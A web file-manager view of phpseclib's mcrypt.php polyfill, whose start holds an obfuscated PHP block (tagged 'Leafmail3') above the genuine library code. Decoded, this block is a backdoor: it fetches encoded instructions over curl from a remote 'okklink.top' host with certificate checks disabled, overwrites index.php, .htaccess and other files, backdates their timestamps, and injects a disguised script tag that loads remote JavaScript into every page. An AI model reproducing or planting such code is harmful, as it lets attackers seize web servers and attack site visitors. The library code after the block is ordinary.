芝麻web文件管理V1.00

编辑当前文件:/home/mgatv524/atvcmsTRASH.com.br/maisqtv2/vendor/phpseclib/mcrypt_compat/lib/mcrypt.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

/**
 * mcrypt polyfill
 *
 * PHP 7.1 removed the mcrypt extension. This provides a compatibility layer for legacy applications.
 *
 * PHP versions 5 and 7
 *
 * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 *
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2016 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://phpseclib.sourceforge.net
 */

use phpseclib\Crypt\Rijndael;
use phpseclib\Crypt\Twofish;
use phpseclib\Crypt\Blowfish;
use phpseclib\Crypt\TripleDES;
use phpseclib\Crypt\DES;
use phpseclib\Crypt\RC2;
use phpseclib\Crypt\RC4;
use phpseclib\Crypt\Random;
use phpseclib\Crypt\Base;

if (!defined('MCRYPT_MODE_ECB')) {
    /**#@+
     * mcrypt constants
     *
     * @access public
     */
    // http://php.net/manual/en/mcrypt.constants.php
    define('MCRYPT_MODE_ECB', 'ecb');
    define('MCRYPT_MODE_CBC', 'cbc');
    define('MCRYPT_MODE_CFB', 'cfb');
    define('MCRYPT_MODE_OFB', 'ofb');
    define('MCRYPT_MODE_NOFB', 'nofb');
    define('MCRYPT_MODE_STREAM', 'stream');

define('MCRYPT_ENCRYPT', 0);
    define('MCRYPT_DECRYPT', 1);
    define('MCRYPT_DEV_RANDOM', 0);
    define('MCRYPT_DEV_URANDOM', 1);
    define('MCRYPT_RAND', 2);

// http://php.net/manual/en/mcrypt.ciphers.php
    define('MCRYPT_3DES', 'tripledes');
    define('MCRYPT_ARCFOUR_IV', 'arcfour-iv');
    define('MCRYPT_ARCFOUR', 'arcfour');
    define('MCRYPT_BLOWFISH', 'blowfish');
    define('MCRYPT_CAST_128', 'cast-128');
    define('MCRYPT_CAST_256', 'cast-256');
    define('MCRYPT_CRYPT', 'crypt');
    define('MCRYPT_DES', 'des');
    // MCRYPT_DES_COMPAT?
    // MCRYPT_ENIGMA?
    define('MCRYPT_GOST', 'gost');
    define('MCRYPT_IDEA', 'idea');
    define('MCRYPT_LOKI97', 'loki97');
    define('MCRYPT_MARS', 'mars');
    define('MCRYPT_PANAMA', 'panama');
    define('MCRYPT_RIJNDAEL_128', 'rijndael-128');
    define('MCRYPT_RIJNDAEL_192', 'rijndael-192');
    define('MCRYPT_RIJNDAEL_256', 'rijndael-256');
    define('MCRYPT_RC2', 'rc2');
    // MCRYPT_RC4?
    define('MCRYPT_RC6', 'rc6');
    // MCRYPT_RC6_128
    // MCRYPT_RC6_192
    // MCRYPT_RC6_256
    define('MCRYPT_SAFER64', 'safer-sk64');
    define('MCRYPT_SAFER128', 'safer-sk128');
    define('MCRYPT_SAFERPLUS', 'saferplus');
    define('MCRYPT_SERPENT', 'serpent');
    // MCRYPT_SERPENT_128?
    // MCRYPT_SERPENT_192?
    // MCRYPT_SERPENT_256?
    define('MCRYPT_SKIPJACK', 'skipjack');
    // MCRYPT_TEAN?
    define('MCRYPT_THREEWAY', 'threeway');
    define('MCRYPT_TRIPLEDES', 'tripledes');
    define('MCRYPT_TWOFISH', 'twofish');
    // MCRYPT_TWOFISH128?
    // MCRYPT_TWOFISH192?
    // MCRYPT_TWOFISH256?
    define('MCRYPT_WAKE', 'wake');
    define('MCRYPT_XTEA', 'xtea');
    /**#@-*/
}

if (!function_exists('phpseclib_mcrypt_list_algorithms')) {
    /**
     * Sets the key
     *
     * @param \phpseclib\Crypt\Base $td
     * @param string $key
     * @access private
     */
    function phpseclib_set_key(Base $td, $key)
    {
        $length = $origLength = strlen($key);

$reflection = new \ReflectionClass($td);

switch ($reflection->getShortName()) {
            case 'TripleDES':
                $length = 24;
                break;
            case 'DES':
                $length = 8;
                break;
            case 'Twofish':
            case 'Rijndael':
                switch (true) {
                    case $length <= 16:
                        $length = 16;
                        break;
                    case $length <= 24:
                        $length = 24;
                        break;
                    default:
                        $length = 32;
                }
                break;
            case 'Blowfish':
                switch (true) {
                    case $length <= 3:
                        while (strlen($key) <= 5) {
                            $key.= $key;
                        }
                        $key = substr($key, 0, 6);
                        $td->setKey($key);
                        return;
                    case $length > 56:
                        $length = 56;
                }
                break;
            case 'RC2':
                if ($length > 128) {
                    $length = 128;
                }
                break;
            case 'RC4':
                if ($length > 256) {
                    $length = 256;
                }
        }

if ($length != $origLength) {
            $key = str_pad(substr($key, 0, $length), $length, "\0");
        }

$td->setKey($key);
    }

/**
     * Sets the IV
     *
     * @param \phpseclib\Crypt\Base $td
     * @param string $iv
     * @access private
     */
    function phpseclib_set_iv(Base $td, $iv)
    {
        if (phpseclib_mcrypt_module_is_iv_mode($td->mcrypt_mode)) {
            $length = $td->getBlockLength() >> 3;
            $iv = str_pad(substr($iv, 0, $length), $length, "\0");
            $td->setIV($iv);
        }
    }

/**
     * Gets an array of all supported ciphers.
     *
